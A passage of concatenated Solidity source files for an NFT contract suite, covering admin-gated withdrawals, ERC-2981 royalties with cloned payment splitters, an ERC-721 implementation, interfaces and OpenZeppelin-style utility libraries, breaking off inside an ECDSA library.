require(ECDSA.recover(ECDSA.toEthSignedMessageHash(expectedSaltedHash), signature_) == expectedSigner, ERROR_UNEXPECTED_DATA_SIGNER); signature = signature_; signatureStatus.isVerified = true; emit ContractSigned(expectedSigner, expectedSaltedHash, signature_); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./RejectEther.sol"; import "./NiftyPermissions.sol"; import "../interfaces/IERC20.sol"; import "../interfaces/IERC721.sol"; abstract contract Withdrawable is RejectEther, NiftyPermissions { /** * @dev Slither identifies an issue with sending ETH to an arbitrary destianation. * https://github.com/crytic/slither/wiki/Detector-Documentation#functions-that-send-ether-to-arbitrary-destinations * Recommended mitigation is to "Ensure that an arbitrary user cannot withdraw unauthorized funds." * This mitigation has been performed, as only the contract admin can call 'withdrawETH' and they should * verify the recipient should receive the ETH first. */ function withdrawETH(address payable recipient, uint256 amount) external { _requireOnlyValidSender(); require(amount > 0, ERROR_ZERO_ETH_TRANSFER); require(recipient != address(0), "Transfer to zero address"); uint256 currentBalance = address(this).balance; require(amount <= currentBalance, ERROR_INSUFFICIENT_BALANCE); //slither-disable-next-line arbitrary-send (bool success,) = recipient.call{value: amount}(""); require(success, ERROR_WITHDRAW_UNSUCCESSFUL); } function withdrawERC20(address tokenContract, address recipient, uint256 amount) external { _requireOnlyValidSender(); bool success = IERC20(tokenContract).transfer(recipient, amount); require(success, ERROR_WITHDRAW_UNSUCCESSFUL); } function withdrawERC721(address tokenContract, address recipient, uint256 tokenId) external { _requireOnlyValidSender(); IERC721(tokenContract).safeTransferFrom(address(this), recipient, tokenId, ""); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./NiftyPermissions.sol"; import "../libraries/Clones.sol"; import "../interfaces/IERC20.sol"; import "../interfaces/IERC721.sol"; import "../interfaces/IERC2981.sol"; import "../interfaces/ICloneablePaymentSplitter.sol"; import "../structs/RoyaltyRecipient.sol"; abstract contract Royalties is NiftyPermissions, IERC2981 { event RoyaltyReceiverUpdated(uint256 indexed niftyType, address previousReceiver, address newReceiver); uint256 constant public BIPS_PERCENTAGE_TOTAL = 10000; // Royalty information mapped by nifty type mapping (uint256 => RoyaltyRecipient) internal royaltyRecipients; function supportsInterface(bytes4 interfaceId) public view virtual override(NiftyPermissions, IERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId); } function getRoyaltySettings(uint256 niftyType) public view returns (RoyaltyRecipient memory) { return royaltyRecipients[niftyType]; } function setRoyaltyBips(uint256 niftyType, uint256 bips) external { _requireOnlyValidSender(); require(bips <= BIPS_PERCENTAGE_TOTAL, ERROR_BIPS_OVER_100_PERCENT); royaltyRecipients[niftyType].bips = uint16(bips); } function royaltyInfo(uint256 tokenId, uint256 salePrice) public virtual override view returns (address, uint256) { uint256 niftyType = _getNiftyType(tokenId); return royaltyRecipients[niftyType].recipient == address(0) ? (address(0), 0) : (royaltyRecipients[niftyType].recipient, (salePrice * royaltyRecipients[niftyType].bips) / BIPS_PERCENTAGE_TOTAL); } function initializeRoyalties(uint256 niftyType, address splitterImplementation, address[] calldata payees, uint256[] calldata shares) external returns (address) { _requireOnlyValidSender(); address previousReceiver = royaltyRecipients[niftyType].recipient; royaltyRecipients[niftyType].isPaymentSplitter = payees.length > 1; royaltyRecipients[niftyType].recipient = payees.length == 1 ? payees[0] : _clonePaymentSplitter(splitterImplementation, payees, shares); emit RoyaltyReceiverUpdated(niftyType, previousReceiver, royaltyRecipients[niftyType].recipient); return royaltyRecipients[niftyType].recipient; } function getNiftyType(uint256 tokenId) public view returns (uint256) { return _getNiftyType(tokenId); } function getPaymentSplitterByNiftyType(uint256 niftyType) public virtual view returns (address) { return _getPaymentSplitter(niftyType); } function getPaymentSplitterByTokenId(uint256 tokenId) public virtual view returns (address) { return _getPaymentSplitter(_getNiftyType(tokenId)); } function _getNiftyType(uint256 tokenId) internal virtual view returns (uint256) { return 0; } function _clonePaymentSplitter(address splitterImplementation, address[] calldata payees, uint256[] calldata shares_) internal returns (address) { require(IERC165(splitterImplementation).supportsInterface(type(ICloneablePaymentSplitter).interfaceId), ERROR_UNCLONEABLE_REFERENCE_CONTRACT); address clone = payable (Clones.clone(splitterImplementation)); ICloneablePaymentSplitter(clone).initialize(payees, shares_); return clone; } function _getPaymentSplitter(uint256 niftyType) internal virtual view returns (address) { return royaltyRecipients[niftyType].isPaymentSplitter ? royaltyRecipients[niftyType].recipient : address(0); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./ERC721Errors.sol"; import "../interfaces/IERC721.sol"; import "../interfaces/IERC721Receiver.sol"; import "../interfaces/IERC721Metadata.sol"; import "../interfaces/IERC721Cloneable.sol"; import "../libraries/Address.sol"; import "../libraries/Context.sol"; import "../libraries/Strings.sol"; import "../utils/ERC165.sol"; import "../utils/GenericErrors.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ abstract contract ERC721 is Context, ERC165, ERC721Errors, GenericErrors, IERC721Metadata, IERC721Cloneable { using Address for address; using Strings for uint256; // Only allow ERC721 to be initialized once bool internal initializedERC721; // Token name string internal tokenName; // Token symbol string internal tokenSymbol; // Base URI For Offchain Metadata string internal baseMetadataURI; // Mapping from token ID to owner address mapping(uint256 => address) internal owners; // Mapping owner address to token count mapping(address => uint256) internal balances; // Mapping from token ID to approved address mapping(uint256 => address) internal tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) internal operatorApprovals; function initializeERC721(string memory name_, string memory symbol_, string memory baseURI_) public override { require(!initializedERC721, ERROR_REINITIALIZATION_NOT_PERMITTED); tokenName = name_; tokenSymbol = symbol_; _setBaseURI(baseURI_); initializedERC721 = true; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Cloneable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), ERROR_QUERY_FOR_ZERO_ADDRESS); return balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = owners[tokenId]; require(owner != address(0), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return tokenName; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return tokenSymbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); string memory uriBase = baseURI(); return bytes(uriBase).length > 0 ? string(abi.encodePacked(uriBase, tokenId.toString())) : ""; } function baseURI() public view virtual returns (string memory) { return baseMetadataURI; } /** * @dev Internal function to set the base URI */ function _setBaseURI(string memory uri) internal { baseMetadataURI = uri; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, ERROR_APPROVAL_TO_CURRENT_OWNER); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), ERROR_NOT_OWNER_NOR_APPROVED); _approve(owner, to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); return tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), ERROR_APPROVE_TO_CALLER); operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { (address owner, bool isApprovedOrOwner) = _isApprovedOrOwner(_msgSender(), tokenId); require(isApprovedOrOwner, ERROR_NOT_OWNER_NOR_APPROVED); _transfer(owner, from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override { transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, data), ERROR_NOT_AN_ERC721_RECEIVER); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (address owner, bool isApprovedOrOwner) { owner = owners[tokenId]; require(owner != address(0), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); isApprovedOrOwner = (spender == owner || tokenApprovals[tokenId] == spender || isApprovedForAll(owner, spender)); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); bool isApprovedOrOwner = (_msgSender() == owner || tokenApprovals[tokenId] == _msgSender() || isApprovedForAll(owner, _msgSender())); require(isApprovedOrOwner, ERROR_NOT_OWNER_NOR_APPROVED); // Clear approvals _clearApproval(owner, tokenId); balances[owner] -= 1; _clearOwnership(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address owner, address from, address to, uint256 tokenId) internal virtual { require(owner == from, ERROR_TRANSFER_FROM_INCORRECT_OWNER); require(to != address(0), ERROR_TRANSFER_TO_ZERO_ADDRESS); // Clear approvals from the previous owner _clearApproval(owner, tokenId); balances[from] -= 1; balances[to] += 1; _setOwnership(to, tokenId); emit Transfer(from, to, tokenId); } /** * @dev Equivalent to approving address(0), but more gas efficient * * Emits a {Approval} event. */ function _clearApproval(address owner, uint256 tokenId) internal virtual { delete tokenApprovals[tokenId]; emit Approval(owner, address(0), tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address owner, address to, uint256 tokenId) internal virtual { tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } function _clearOwnership(uint256 tokenId) internal virtual { delete owners[tokenId]; } function _setOwnership(address to, uint256 tokenId) internal virtual { owners[tokenId] = to; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value * * @dev Slither identifies an issue with unused return value. * Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return * This should be a non-issue. It is the standard OpenZeppelin implementation which has been heavily used and audited. */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) internal returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert(ERROR_NOT_AN_ERC721_RECEIVER); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract ERC721Errors { string internal constant ERROR_QUERY_FOR_ZERO_ADDRESS = "Query for zero address"; string internal constant ERROR_QUERY_FOR_NONEXISTENT_TOKEN = "Token does not exist"; string internal constant ERROR_APPROVAL_TO_CURRENT_OWNER = "Current owner approval"; string internal constant ERROR_APPROVE_TO_CALLER = "Approve to caller"; string internal constant ERROR_NOT_OWNER_NOR_APPROVED = "Not owner nor approved"; string internal constant ERROR_NOT_AN_ERC721_RECEIVER = "Not an ERC721Receiver"; string internal constant ERROR_TRANSFER_FROM_INCORRECT_OWNER = "Transfer from incorrect owner"; string internal constant ERROR_TRANSFER_TO_ZERO_ADDRESS = "Transfer to zero address"; string internal constant ERROR_ALREADY_MINTED = "Token already minted"; string internal constant ERROR_NO_TOKENS_MINTED = "No tokens minted"; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC721.sol"; interface IERC721Cloneable is IERC721 { function initializeERC721(string calldata name_, string calldata symbol_, string calldata baseURI_) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "../interfaces/IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract GenericErrors { string internal constant ERROR_INPUT_ARRAY_EMPTY = "Input array empty"; string internal constant ERROR_INPUT_ARRAY_SIZE_MISMATCH = "Input array size mismatch"; string internal constant ERROR_INVALID_MSG_SENDER = "Invalid msg.sender"; string internal constant ERROR_UNEXPECTED_DATA_SIGNER = "Unexpected data signer"; string internal constant ERROR_INSUFFICIENT_BALANCE = "Insufficient balance"; string internal constant ERROR_WITHDRAW_UNSUCCESSFUL = "Withdraw unsuccessful"; string internal constant ERROR_CONTRACT_IS_FINALIZED = "Contract is finalized"; string internal constant ERROR_CANNOT_CHANGE_DEFAULT_OWNER = "Cannot change default owner"; string internal constant ERROR_UNCLONEABLE_REFERENCE_CONTRACT = "Uncloneable reference contract"; string internal constant ERROR_BIPS_OVER_100_PERCENT = "Bips over 100%"; string internal constant ERROR_NO_ROYALTY_RECEIVER = "No royalty receiver"; string internal constant ERROR_REINITIALIZATION_NOT_PERMITTED = "Re-initialization not permitted"; string internal constant ERROR_ZERO_ETH_TRANSFER = "Zero ETH Transfer"; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./ERC165.sol"; import "./GenericErrors.sol"; import "../interfaces/INiftyEntityCloneable.sol"; import "../interfaces/INiftyRegistry.sol"; import "../libraries/Context.sol"; abstract contract NiftyPermissions is Context, ERC165, GenericErrors, INiftyEntityCloneable { event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); // Only allow Nifty Entity to be initialized once bool internal initializedNiftyEntity; // If address(0), use enable Nifty Gateway permissions - otherwise, specifies the address with permissions address public admin; // To prevent a mistake, transferring admin rights will be a two step process // First, the current admin nominates a new admin // Second, the nominee accepts admin address public nominatedAdmin; // Nifty Registry Contract INiftyRegistry internal permissionsRegistry; function initializeNiftyEntity(address niftyRegistryContract_) public { require(!initializedNiftyEntity, ERROR_REINITIALIZATION_NOT_PERMITTED); permissionsRegistry = INiftyRegistry(niftyRegistryContract_); initializedNiftyEntity = true; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(INiftyEntityCloneable).interfaceId || super.supportsInterface(interfaceId); } function renounceAdmin() external { _requireOnlyValidSender(); _transferAdmin(address(0)); } function nominateAdmin(address nominee) external { _requireOnlyValidSender(); nominatedAdmin = nominee; } function acceptAdmin() external { address nominee = nominatedAdmin; require(_msgSender() == nominee, ERROR_INVALID_MSG_SENDER); _transferAdmin(nominee); } function _requireOnlyValidSender() internal view { address currentAdmin = admin; if(currentAdmin == address(0)) { require(permissionsRegistry.isValidNiftySender(_msgSender()), ERROR_INVALID_MSG_SENDER); } else { require(_msgSender() == currentAdmin, ERROR_INVALID_MSG_SENDER); } } function _transferAdmin(address newAdmin) internal { address oldAdmin = admin; admin = newAdmin; delete nominatedAdmin; emit AdminTransferred(oldAdmin, newAdmin); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/ECDSA.sol) pragma solidity 0.8.9; import "./Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use 